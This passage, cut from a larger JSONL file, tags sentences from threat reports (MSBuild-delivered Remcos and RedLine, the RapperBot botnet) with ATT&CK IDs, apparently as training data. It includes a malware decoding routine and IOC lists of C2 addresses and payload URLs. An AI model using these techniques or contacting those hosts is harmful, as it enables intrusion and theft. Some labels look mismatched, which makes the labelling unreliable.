UEFI firmware"}
{"sentence": "ScrambleCross encrypted shellcode System.Mail.Service.dll – InstallUtil launcher for StealthMutant schtask.bat – Batch launcher for StealthMutant CmluaApi.dll – Microcin ScrambleCross Mutexes Global\\GouZUAkmtdpUmves Global\\PtUojBxCOZGVmQQn Global\\EGuUCpyYIJRTQJAV Global\\YCtiqMgRrpLGbfDo", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Authored by: Tara Gould and Gage Mele Key Findings Anomali Threat Research identified a campaign in which threat actors used Microsoft Build Engine (MSBuild) to filelessly deliver Remcos remote access tool (RAT) and password-stealing malware commonly known as RedLine Stealer This campaign, which has low or zero detections on antivirus tools, appears to have begun in April 2021 and was still ongoing as of May 11, 2021.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "We were unable to determine how the .proj files were distributed, and are unable to make a confident assessment on attribution because both RemcosRAT and RedLine Stealer are commodity malware.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Overview Anomali Threat Research discovered a campaign in which threat actors used MSBuild - a tool used for building apps and gives users an XML schema “that controls how the build platform processes and builds software” - to filelessly deliver RemcosRAT, and RedLine stealer using callbacks.[1]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "The malicious MSBuild files we observed in this campaign contained encoded executables and shellcode, with some, hosted on Russian image-hosting site, “joxi[.]net.”", "labels": ["T1027"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "While we were unable to determine the distribution method of the .proj files, the objective of these files was to execute either Remcos or RedLine Stealer.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "The majority of the samples we analyzed deliver Remcos as the final payload.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 1 - Infection chain Technical Analysis MSBuild MSBuild is a development tool used for building applications, especially where Visual Studio is not installed.[2] MSBuild uses XML project files that contain the specifications to compile the project and, within the configuration file, the “UsingTask” element defines the task that will be compiled by MSBuild.", "labels": ["T1053.005"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "In addition, MSBuild has an inline task feature that enables code to be specified and compiled by MSBuild and executed in memory.", "labels": ["T1053.005"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "This ability for code to be executed in memory is what enables threat actors to use MSBuild in fileless attacks.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "A fileless attack is a technique used by threat actors to compromise a machine while limiting the chances of being detected.[3]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Fileless malware typically uses a legitimate application to load the malware into memory, therefore leaving no traces of infection on the machine and making it difficult to detect.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "An analysis by network security vendor WatchGuard released in 2021 showed a 888% increase in fileless attacks from 2019 to 2020, illustrating the massive growth in the use of this attack technique, which is likely related to threat actor confidence that such attacks will be successful.[4] MSBuild Project File (.proj) Analysis Analyzed File – imaadp32.proj MD5 – 45c94900f312b2002c9c445bd8a59ae6 The file we analyzed is called “imaadp32.proj,” and as shown in Figure 2 below, is an MSBuild project file (.proj).", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "For persistence, mshta is used to execute a vbscript that runs the project file, with a shortcut file (.lnk) added to the startup folder (Figure 3).", "labels": ["T1547.001"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 2 - MSBuild Project Schema for immadp32.proj Figure 3 - .lnk", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "File Created in Startup Folder Following the creation of persistence, two large arrays of decimal bytes were decoded by the function shown in Figure 4. Figure 4 - Decoding Function Porting the decoding function to Python, we created a script (Figure 5 below).", "labels": ["T1140"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "By using the variable “dec_list” to contain the decimal to be converted, and the variable “key” representing the string found at the end of decimal, we decoded the function.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "def decode_array(dec_list, key): key_array =", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[] position_array =", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[] for position in list(range(256)): key_array.append(key[position % len(key)]) position_array.append(position)", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "xxZmgLbpuJ = 0 for position in list(range(256)): xxZmgLbpuJ", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "= (xxZmgLbpuJ + position_array[position] + ord(key_array[position]))", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "% 256 YAFIh = position_array[position] position_array[position] = position_array[xxZmgLbpuJ] position_array[xxZmgLbpuJ] = YAFIh DmqRsaOvxUH", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "xxZmgLbpuJ", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "= 0 new_array =", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[] for position in list(range(len(dec_list))): DmqRsaOvxUH", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "+= 1 DmqRsaOvxUH", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "%= 256 xxZmgLbpuJ", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "+= position_array[DmqRsaOvxUH]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "xxZmgLbpuJ %= 256 YAFIh = position_array[DmqRsaOvxUH] position_array[DmqRsaOvxUH] = position_array[xxZmgLbpuJ] position_array[xxZmgLbpuJ] = YAFIh new_array.append(dec_list[position] ^", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "position_array[((position_array[DmqRsaOvxUH]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "+ position_array[xxZmgLbpuJ])", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "% 256)]) return new_array Figure 5 - Python Script to Decode", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "The output decimal list from this function was then converted from bytes, resulting in an executable for the first block and shellcode for the second block.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Shellcode The malware and shellcode were allocated memory in the process space using VirtualAlloc.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "After being copied into memory, the shellcode was executed using the callback function pointer in CallWindowProc, shown in Figure 6 below.", "labels": ["T1106"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Other samples leverage the function Delegate.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "DynamicInvoke instead.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 6 - Shellcode and Payload Being Loaded Into Memory Figure 7 - Encoded shellcode in Project File The shellcode (encoded shown in Figure 7 above) calls, shown in Figure 8 below, were mainly: LoadLibraryW, VirtualAlloc, CreateProccessW, and ZwUnmapViewOfSection.", "labels": ["T1027", "T1106"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "LoadLibraryW loads the module, VirtualAlloc allocates the memory, CreateProcessW created a process, and ZwUnmapViewOfSection is used to unmap memory from a virtual space.", "labels": ["T1106"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "These were used to inject the payload into process memory.", "labels": ["T1055"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 8 - Calls made by the shellcode Payloads RemcosRAT Analyzed File – MD5 – 04fc0ca4062dd014d64dcb2fe8dbc966 The payload from the project files was a remote access tool (RAT) called Remcos.", "labels": ["T1219"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Remcos is a commercial software created by Breaking Security that, according to their user manual, can be used for remote control, remote admin, remote anti-theft, remote support and pentesting.[5]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "However, Remcos has often been used by threat actors for malicious purposes.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "The software, written in C++, enables full access to the infected machine with features including, but not limited to: Anti-AV Credential harvesting Gathering system information Keylogging Persistence Screen capture Script execution The themes used by actors to distribute Remcos have varied, including changes designed to adapt to themes or timeframes.", "labels": ["T1056.001", "T1082", "T1113"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "For example, recent Remcos campaigns were observed utilizing Tax Day lures.[6]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "The version used in this campaign was 2.6.0, which was released in July 2020 (Figure 9).", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Additional functions Remcos has been known to utilize are shown in Table 1 below.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "The persistence technique is simply adding a run registry key for persistence (Figure 11).", "labels": ["T1547.001"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Remcos has also been observed using its “Watchdog” feature to restart the RAT if it is terminated (Figure 12).", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 9 - Remcos Version 2.6.0 Being Used Figure 10 - connecting to C2 Figure 11 - Adds Run Registry Key for Persistence Figure 12 - Watchdog Module Figure 12 shows the “Watchdog” module which restarts Remcos in the event the program is terminated.", "labels": ["T1547.001"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Table 1 - Remcos 2.6.0 Features Remote Scripting Notifications", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Webcam Capture Remote Command Line Clear Logins Remote Chat File Manager Remote Input Microphone Capture SOCKS Proxy Keylogger Login Cleaner Screen Logger Local Utilities Browser History Registry Editor Password Recovery Visibility mode RedLine Stealer Analyzed File – rehoboams.exe MD5 – 6d3e8a2802848d259a3baaaa78701b97", "labels": ["T1056.001", "T1059.003", "T1112", "T1113"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "In a similar MSBuild project file to the Remcos dropping .proj file, we found another project file named “vwnfmo.lnk“ where RedLine Stealer was dropped instead of Remcos, shown in Figure 13 below.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "RedLine Stealer is written in .NET and has been observed stealing multiple types of data (full list shown in Table 2 below), including: : Cookies Credentials (chat clients, VPNs, crypto wallets, browser )", "labels": ["T1005"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Crypto wallet NordVPN (existence of and credentials) Stored web browser information (credit card, username, and password)", "labels": ["T1082"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "System Information RedLine will search for the existence of multiple products that include cryptocurrency software, messaging apps, VPNs, and web browsers (full list shown in Table 2 below).", "labels": ["T1082"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 13 - RedLine .NET", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Information Stealer Figure 14 - RedLine Functions Figure 15 - Checks for NordVPN Installation Figure 15 above shows RedLine checking for NordVPN on the machine.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "If the path exists, the next function of this malware is to check for the user config to steal the credentials.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "This function also enables RedLine to steal credentials for additional installed applications.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Table 2 - Installs RedLine Scans for Chrome GameLauncher for Steam Filezilla Guarda Gecko Jaxx Armory Metamask Atomic Monero Coinom OpenVPN DesktopMessenger for Telegram NordVPN Discord ProtonVPN Electrum Tronlink Ethereum Yoroi Conclusion The threat actors behind this campaign used fileless delivery as a way to bypass security measures, and this technique is used by actors for a variety of objectives and motivations.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "This campaign highlights that reliance on antivirus software alone is insufficient for cyber defense, and the use of legitimate code to hide malware from antivirus technology is effective and growing exponentially.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Focusing on cybersecurity training and hygiene, as well as a defense-in-depth strategy, are some recommended courses of action for countering this threat.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Endnotes [1] “MSBuild,” Microsoft Visual Studio Docs, accessed May 3, 2021, published November 4, 2016, https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2019.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[2] Ibid.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[3] “What Is Fileless Malware?,” McAfee, accessed May 3, 2021, https://www.mcafee.com/enterprise/en-gb/security-awareness/ransomware/what-is-fileless-malware.html.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[4] “Internet Security Report – Q4 2020,” WatchGuard, accessed May 4, 2021, published March 30, 2021, https://www.watchguard.com/uk/wgrd-resource-center/security-report-q4-2020, 3.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[5] “Remcos Instructions Manual,” Breaking Security, accessed May 4, 2021, published July 2018, https://breaking-security.net/wp-content/uploads/dlm_uploads/2018/07/Remcos-Instructions-Manual-rev19.pdf, 15-16.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[6] Daniel Frank, “Cybereason Exposes Campaign Targeting US Taxpayers with NetWire and Remcos Malware,” Cybereason, accessed May 4, 2021, published March 18, 2021, https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Appendix A IOCs Project File Payload C2 Details 45c94900f312b2002c9c445bd8a59ae6 Remcos 04fc0ca4062dd014d64dcb2fe8dbc966 135.181.170.169:50845 d8a57534382a07cc0487b96350bca761 Remcos eb8b1d64429e00f2b3b49f886ee3b0b4 http://dl4.joxi.net/drive/2021/04/15/0048/3592/3153416/16/b8c104ce64.png d52d6bad3d11e9a72998608ccca572f5 Remcos 41c0bb6e89ad89af8eef7bec40d4acbb d66740b3ed3884c31d40e3747684411e RedLine 302207c3248257d4d9badf4bc4b75483 svhost-system-update.net:80 http://dl4.joxi.net/drive/2021/04/19/0048/3592/3153416/16/d07409594a.proj 43660f882cc5971ab83a810398487317 RedLine 6d3e8a2802848d259a3baaaa78701b97 37.1.206.16:7575 192b8ee95537dda7927ba3b45183e6a4 Remcos b8e9ce084d9d49f565f850c59b003bcf http://joxi.net/52ap4j7tkJER7m.proj 1ae425ac2890283ddcf11946e7e8f6ae QuasarRat 723f5e75239b66e3d08b83a131c7b66c 20621960888a6299123ce5a2df5eabba Remcos f174c03d177a04e81677e9c9a9eae0c8 27b62f7b4b285b880b8c81960aa60b15 Remcos cf45b793bc9ec86bfedfa165c01ede15 2d15a4c9184878e25bdf108bd58290b8 Remcos de2ff99ca086a8ad0f9b8027aef696ba 37bbbbc44c80ff4fe770ce78f6a37ebd Remcos 73790d28f4f8f0f4c402da66c8dc393f 603b1cc2d5488dcd8bb0a3b14429c88b Remcos 23c5bc4a2e69c3f171561b524ceb4098 62c8efb35b3b9c10e965ec5a236fed2d Remcos 4def35aedc86a946c13118e14127e0e9 a948e8d3222b9fa8ccbd091230098b78 Remcos 85c700ff566161c77a03f282fa48a246 ecdb2860af9ce2754d178c80e3303080 QuasarRat 7870a7c7e355d1fbf357c846d8bf2aea fe84ead033bfeaee70f84d8733b51e08 RedLine 4023e57ffbc87aa93621a7c2a6f0b425 Appendix B MITRE ATT&CK TTPs Matrix Technique ID Name Execution T1059.003 Windows Command Shell T1059.006 Python Persistence T1547.009 Shortcut Modification T1547.001", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Registry Run Keys / Startup Folder Privilege Escalation T1548.002 Abuse Elevation Control:", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Bypass User Account Control T1055 Process Injection T1055.012 Process Hollowing Defense Evasion T1140 Deobfuscate/Decode Files or Information T1112 Modify Registry T1027 Obfuscated Files or Information T1055 Process Injection T1055.002 Portable Executable Injection T1055.012 Process Hollowing T1127 Trusted Developer Utilities Proxy T1127.001 MSBuild T1497.001 System Checks T1218.005 Signed Binary Proxy Execution: Mshta Credential Access T1555 Credentials from Password Stores T1555.003 Credentials from Web Browsers T1539 Steal Web Session Cookie T1056 Input Capture T1056.001 Keylogging Discovery T1087 Account Discovery T1083 File and Directory Discovery T1518 Software Discovery T1518.001 Security Software Discovery T1082 System Information Discovery T1614 System Location Discovery T1033 System Owner/User Discovery T1124 System Time Discovery Collection T1123 Audio Capture T1115 Clipboard Data T1113 Screen Capture T1125 Video Capture Command and Control T1105 Ingress Tool Transfer T1090 Proxy Exfiltration T1041 Exfiltration Over C2 Channel Appendix C Zero Detection on VirusTotal", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "After FortiGuard Labs reported on RapperBot in our previous article titled So RapperBot, What Ya Bruting For? in August 2022, there was a significant drop in the number of samples collected in the wild.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "But in early October 2022, new samples with the same distinctive C2 protocol used by RapperBot were detected.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike the murky objectives of the previous campaign, it is quickly evident that these samples are part of a separate campaign to launch Distributed Denial of Service (DDoS) attacks against game servers, which we believe to be a re-emergence of a similar campaign from earlier this year.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Affected Platforms: LinuxImpacted Users: Any organizationImpact:", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Remote attackers gain control of the vulnerable systemsSeverity Level: Critical This article discusses the differences observed in this campaign and its relation to the previous RapperBot and similar campaigns in the past.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "RapperBot Rebooted FortiGuard Labs encountered this campaign by hunting for samples using the unique bot ID used by RapperBot to communicate with its Command-and-Control (C2) server, as reported in the previous article.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "But once we analyzed these new samples, we observed a significant difference between them and the earlier campaign.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "In fact, it turns out that this campaign is less like RapperBot than an older campaign that appeared in February and then mysteriously disappeared in the middle of April.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Other related campaigns uncovered during this investigation are detailed later in this article.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Network Protocol and Denial-of-Service (DoS)", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Attacks The C2 network protocol used in previous campaigns remains essentially unchanged, with additional commands added to support the Telnet brute force.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The list of commands and IDs are shown below: 0x00: Register (used by the client)", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "0x01: Keep-Alive/Do nothing 0x02: Stop all DoS attacks and terminate the client 0x03: Perform a DoS attack 0x04: Stop all DoS attacks 0x06: Restart Telnet brute forcing 0x07: Stop Telnet brute forcing The previously reported RapperBot campaign was limited to a few generic DoS methods against TCP and UDP services.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This campaign adds DoS attacks against the GRE protocol (likely reusing the Mirai source code) and the UDP protocol used by the Grand Theft Auto: San Andreas Multi Player (SA:MP) mod.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Here are the DoS attack commands supported by this botnet: 0x00: Generic UDP flood 0x01: TCP SYN flood 0x02: TCP ACK flood 0x03: TCP STOMP flood 0x04: UDP SA:MP flood targeting game servers running GTA San Andreas:", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Multi Player (SA:MP) 0x05: GRE Ethernet flood 0x06: GRE IP flood 0x07: Generic TCP flood These specific commands, coupled with the absence of HTTP-related DDoS attacks, suggests that this campaign is primarily geared toward game server DDoS. Telnet Self-propagation The most significant difference in the new campaign was the complete replacement of the SSH brute forcing code with the more usual Telnet equivalent.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "FortiGuard Labs has observed similar drastic modifications within RapperBot samples, as detailed in our previous report, adding and removing even DoS attack code on an apparent whim.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The Telnet brute forcing code is designed primarily for self-propagation and resembles the old Mirai Satori botnet.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike the earlier SSH brute-forcing campaign, the plaintext credentials are embedded into the malware instead of being downloaded from the C2.", "labels": ["T1078", "T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "These credentials used appear to be default credentials for IoT devices.", "labels": ["T1078"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "To optimize brute forcing efforts, the malware compares the server prompt upon connection to a hardcoded list of strings to identify the possible device and then only tries the known credentials for that device.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike less sophisticated IoT malware, this allows the malware to avoid trying to test a full list of credentials.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "While not exactly a novel technique, it is still uncommon compared to other IoT botnets.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Based on the prompt messages hardcoded into the malware, most of the targeted devices are IoT devices such as routers and DVRs.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This campaign seems especially interested in older devices with the Qualcomm MDM9625 chipset, such as LTE modems.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "It attempts to specifically gain root access to these devices via a default password, despite having the same credentials in the list embedded in the binary.", "labels": ["T1078", "T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Like the earlier SSH brute-forcing campaign, once it has successfully gained access, it sends the credentials used, the compromised device’s IP address, and its architecture to the C2 server on a separate port, 5123.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "After reporting, the malware attempts to install its main payload binary on the compromised device.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "It first parses the Executable and Linkable Format (ELF) header of the /bin/busybox file for the e_machine field, which provides the architecture of the compromised device.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This allows it to download and deploy a RapperBot payload of the correct architecture to ensure proper execution.", "labels": ["T1105"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This selective behavior is more efficient than the shotgun approach in most IoT malware families, whereby all the binaries for the supported architectures are downloaded and executed in the victim's system.", "labels": ["T1105"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Based on the payload binaries we collected, this botnet currently seems to only target devices running on ARM, MIPS, PowerPC, SH4, and SPARC architectures.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Moreover, it specifically checks and stops its self-propagation if the device is detected to be running on Intel processors.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The bot then downloads its payload via software installed on the compromised device, such as ftpget, wget, curl, or tftp, before executing the payload.", "labels": ["T1570"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "If none of the software mentioned above is installed, it will extract and send an embedded binary downloader to the compromised device that executes and downloads the primary payload.", "labels": ["T1105"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike in Satori, these embedded downloaders are stored as escaped byte strings, probably to simplify parsing and processing within the code.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The binary downloaders are written by echoing the bytes and piping the content to a file in the victim system.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "As labeled in Figure 4, each binary has a hardcoded URL for downloading the payload binary of the proper architecture.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "No attempts to persist on infected or brute-forced devices were observed for this campaign.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Related Campaigns FortiGuard Labs compared samples for this and related campaigns from the past to find any links with the previously reported RapperBot campaign.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "We observed that the earliest samples for this campaign were from December 2021 and that the SA:MP attack was only added in February 2022.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This campaign mysteriously disappeared in mid-April 2022, resurfacing in Oct 2022 with the addition of the self-propagation feature.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "We also found older samples from another campaign that was active in August-September 2021 with an almost identical list of credentials.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "These samples contain slightly fewer credentials and a simpler self-propagation code that only supports downloading the payload via wget or the binary downloader embedded directly into the sample.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This campaign did not support stopping or restarting the Telnet propagation, and while the samples support the same commands, their associated IDs did not match.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The similar lists of credentials suggest that the threat actor behind this current campaign has access to the source code for the earlier campaign, as this code was not found in other IoT malware samples.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Connections to RapperBot The fact that samples from both campaigns use the same C2 protocol, coupled with the absence of this campaign during the RapperBot campaign active between June and Aug 2022 and its recent reappearance, seems to be more than a coincidence.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "With the several similarities between the two campaigns outlined below, we believe that either the same threat actor might be behind both campaigns or each campaign might have branched from the same privately-shared source code.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The C2 commands and corresponding IDs are identical in both campaigns (excluding the Telnet-related commands, as those do not apply to RapperBot) Both campaigns show a certain degree of effort in optimizing the brute forcing implementation.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Code for the brute forcing implementation is significantly more structured than typical IoT malware that copies and pastes code with minimal modifications.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "RapperBot also supported the TCP STOMP attack popularized by Mirai.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This attack was not observed in the earlier campaigns mentioned above.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "However, as both Mirai and Satori source code are publicly available, this is considered a very weak link between the campaigns.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "If both campaigns were related, the reason for restarting an older campaign remains a mystery.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Conclusion Based on the undeniable similarities between this new campaign and the previously reported RapperBot campaign, it is highly likely that they are being operated by a single threat actor or by different threat actors with access to a privately-shared base source code.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike the previous RapperBot campaign, this new campaign has a clear motivation to compromise as many IoT devices as possible to build a DDoS botnet.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
